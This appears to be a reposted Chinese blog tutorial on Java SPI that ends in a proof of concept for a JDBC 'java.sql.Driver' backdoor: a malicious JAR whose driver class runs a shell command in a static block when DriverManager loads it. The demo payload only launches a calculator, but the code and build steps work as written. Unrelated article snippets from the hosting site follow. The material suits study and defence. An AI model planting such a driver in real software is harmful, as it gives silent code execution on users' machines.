【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

目录

SPI定义

SPI核心方法和类

最简单的SPIdemo演示

回顾JCBC基本流程

为什么JDBC要有SPI

JDBC java.sql.Driver后门利用与验证


SPI定义

SPI: Service Provider Interface
官方定义: 直译过来是服务提供者接口,学名为服务发现机制
它通过在ClassPath路径下的META-INF/services文件夹中查找文件(以接口名为文件名,以实现类全限定名为文件内容的文件),并自动加载文件里所定义的类

1.SPI机制能够使接口与具体的实现类解耦,可以根据实际的业务情况启用或替换具体组件
2.SPI机制为很多框架的拓展提供了可能
3.SPI机制更多是一种思想

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
        load(Class<S> service):静态方法,用于加载实现了指定接口的服务提供者。
        iterator():返回一个迭代器,用于遍历加载的服务提供者实例。

② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
        hasNext():判断是否还有下一个元素。
        next():返回下一个元素。

③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
        AbstractProvider:用于创建服务提供者的抽象类。
        ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

最简单的SPIdemo演示

项目目录:

 META-INF/services/com.spi.SpiService

com.spi.SPI_1
com.spi.SPI_2

SpiService

package com.spi;public interface SpiService {public void run();
}

SPI_1

package com.spi;public class SPI_1 implements SpiService {@Overridepublic void run() {System.out.println("SPI_1 is running...");}
}

SPI_2

package com.spi;public class SPI_2 implements SpiService {@Overridepublic void run() {System.out.println("SPI_2 is running...");}
}

SpiTest

package com.spi;import java.util.ServiceLoader;public class SpiTest {public static void main(String[] args) {ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);for (SpiService spiService : serviceLoader) {spiService.run();}}
}

运行演示

回顾JCBC基本流程

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

为什么JDBC要有SPI

以前我们使用JDBC访问Mysql数据库的时候,都会执行Class.forName("com.mysql.cj.jdbc.Driver"),这样就会实例化驱动类,同时也会执行驱动类中的static代码块中的DriverManager.registerDriver(new Driver()),将驱动类注册到Drivermanager中

但是将驱动类的全路径名称写到代码中,非常不方便。如果将类的全路径名写到配置文件中,虽然方便,但是还需要我们去记驱动类的全路径名

使用Java的SPI就可以解决这个问题。让Mysql驱动提供方同时提供驱动包和驱动配置文件,Java SPI通过类ClassLoader(通过getResource/getResources从指定位置读取classpath中的配置文件、可以加载类)自动从指定位置读取配置文件并进行驱动类的加载。这样就不用我们进行驱动类的加载了,而且Mysql驱动提供方能很方便的进行驱动的升级

JDBC java.sql.Driver后门利用与验证

数据库厂商提供的 JDBC 驱动程序通过在 JAR 包中的 META-INF/services/java.sql.Driver 文件中指定实现了 java.sql.Driver 接口的驱动程序类的方式来注册自己。JDBC 在启动时会使用 SPI 机制来动态加载这些驱动程序类,无需显式地调用 Class.forName 来加载驱动程序,从而实现了自动注册数据库驱动程序的功能。

这也为我们留下了后门,我们可以创建一个自己的恶意jar包传给JDBC,从而导致恶意类的加载,静态代码块的执行,开始复现!

先生成恶意的jar包

创建项目结构如下

 META-INF/services/java.sql.Driver

evil.MySQLDriver

MySQLDriver.java

package evil;import java.sql.*;
import java.util.*;
import java.util.logging.*;public class MySQLDriver implements java.sql.Driver {protected static boolean DEBUG = false;protected static final String WindowsCmd = "calc";protected static final String LinuxCmd = "open -a calculator";protected static  String shell;protected static  String args;protected static  String cmd;static{if(DEBUG){Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");}if( System.getProperty("os.name").toLowerCase().contains("windows") ){shell = "cmd.exe";args = "/c";cmd = WindowsCmd;} else {shell = "/bin/sh";args = "-c";cmd = LinuxCmd;}try{Runtime.getRuntime().exec(new String[] {shell, args, cmd});} catch(Exception ignored) {}}// JDBC methods belowpublic boolean acceptsURL(String url){if(DEBUG){Logger.getGlobal().info("acceptsURL() called: "+url);}return false;}public Connection connect(String url, Properties info){if(DEBUG){Logger.getGlobal().info("connect() called: "+url);}return null;}public int getMajorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 1;}public int getMinorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 0;}public Logger getParentLogger(){if(DEBUG){Logger.getGlobal().info("getParentLogger() called");}return null;}public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){if(DEBUG){Logger.getGlobal().info("getPropertyInfo() called: "+url);}return new DriverPropertyInfo[0];}public boolean jdbcCompliant(){if(DEBUG){Logger.getGlobal().info("jdbcCompliant() called");}return true;}
}

 依次运行下列代码

javac src/evil/MySQLDriver.javajar -cvf evil.jar -C src/ .

在项目目录得到evil.jar这个恶意jar包

然后在JDBC的项目中引入恶意jar包

package com.spi;import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;public class Jdbc_Demo {public static void main(String[] args) throws Exception {// 注册驱动(可以删去)
//        Class.forName("java.sql.Driver");// 获取数据库连接对象Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/security","root", "root");//  定义sql语句String sql = "select * from users";// 获取执行sql的对象StatementStatement stmt = con.createStatement();// 执行sqlResultSet res = stmt.executeQuery(sql);// 处理对象while(res.next()) {System.out.println(res.getString("username"));}// 释放资源res.close();stmt.close();con.close();}
}

 运行这段代码便可弹出计算器。

为了验证我们真的导入了恶意类作为jdbc的驱动,我们可以继续运行下面这段代码

package com.spi;import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;public class JdbcDriverList {public static void main(String[] args) {ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {Driver driver = iterator.next();System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());}}
}

结果如下,可见我们确实利用driver后门完成了一次偷梁换柱的利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/513760.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习流程—数据预处理下篇

机器学习流程—数据预处理下篇 我们在机器学习项目开发过程中遇到的大多数现实数据集都具有混合数据类型的列。这些数据集由分类列和数字列组成。然而&#xff0c;各种机器学习模型不适用于分类数据&#xff0c;为了使这些数据适合机器学习模型&#xff0c;需要将其转换为数值…

Python 多线程编程实战:threading 模块的最佳实践

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站AI学习网站。 目录 前言 线程的创建 1. 继承 threading.Thread 类 2. 使用 threading.Thread 对象 线程的同步 使用锁 线程的通信…

最新趋势揭秘:即时通讯开发中的人工智能应用

随着人工智能技术的快速发展和广泛应用&#xff0c;即时通讯开发领域迎来了一场前所未有的变革和机遇。在当今数字化时代&#xff0c;人工智能已经成为各行各业发展的重要引擎之一&#xff0c;即时通讯应用也不例外。人工智能技术的应用不仅可以提升即时通讯的用户体验和功能&a…

大数据基础设施搭建 - Flink

文章目录 一、上传并解压压缩包二、修改集群配置2.1 修改flink-conf.yaml文件2.2 修改workers文件2.3 修改masters文件2.4 分发配置文件2.5 修改其他两台机器的配置文件flink-conf.yaml 三、启动关闭集群&#xff08;Standalone模式&#xff09;四、访问WEB-UI五、向集群提交作…

常用日期和时间标准对比:HTML, ISO 8601, RFC 3339, RFC 5322

1. HTML, ISO 8601, RFC 3339, RFC 5322 对比 日期和时间&#xff0c;对于不同系统和平台之间的数据交换和互操作至关重要。本文将对比 HTML 标准、ISO 8601、RFC 3339 和 RFC 5322&#xff0c;为读者提供参考。 表格文字版见文末-附 1.1. 标准链接 HTML 标准: https://html…

【机器学习300问】27、高偏差与高方差是什么?他们对评估机器学习模型起何作用?

〇、回归模型举例 &#xff08;1&#xff09;第一种情况 你选择了一个简单的模型&#xff0c;比如一个直线&#xff0c;却想拟合类似抛物线分布的数据。 图1 &#xff08;2&#xff09;第二种情况 你选择了一个复杂的模型&#xff0c;比如一个四次多项式&#xff0c;想拟合类…

android高级面试题及答案,已拿offer

一、java相关 java基础 1、java 中和 equals 和 hashCode 的区别 2、int、char、long 各占多少字节数 3、int 与 integer 的区别 4、谈谈对 java 多态的理解 5、String、StringBuffer、StringBuilder 区别 6、什么是内部类&#xff1f;内部类的作用 7、抽象类和接口区别 java高…

2.模拟问题——6.活着的树

输入 500 3 100 200 150 300 470 471 输出 298 【提交地址】 简单思路 初始化一个全false的bool数组&#xff0c;表示树未被移走&#xff0c;然后根据输入值将数组内的对应序号值设为true表示已经移走。 最后统计false的数目即为剩下的树数。 #include <cstdio> #incl…

步进电机驱动器接法

实物 参数 共阳极&#xff1a; 使能给高电平有效 共阴极&#xff1a; 使能给低电平有效 整体接线 参考内容 B站UP范辉

20240305-2-海量数据处理常用技术概述

海量数据处理常用技术概述 如今互联网产生的数据量已经达到PB级别&#xff0c;如何在数据量不断增大的情况下&#xff0c;依然保证快速的检索或者更新数据&#xff0c;是我们面临的问题。 所谓海量数据处理&#xff0c;是指基于海量数据的存储、处理和操作等。因为数据量太大无…

字节跳动热门的前端开源项目

字节跳动开源官网 Arco Dsign Arco Design 是一套设计系统&#xff0c;主要服务于字节跳动旗下中后台产品的体验设计和技术实现。它的目标在于帮助设计师与开发者解放双手、提升工作效率&#xff0c;并高质量地打造符合业务规范的中后台应用。它拥有系统的设计规范和资源&…

(学习日记)2024.03.05:UCOSIII第七节:SysTick+任务时间片

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…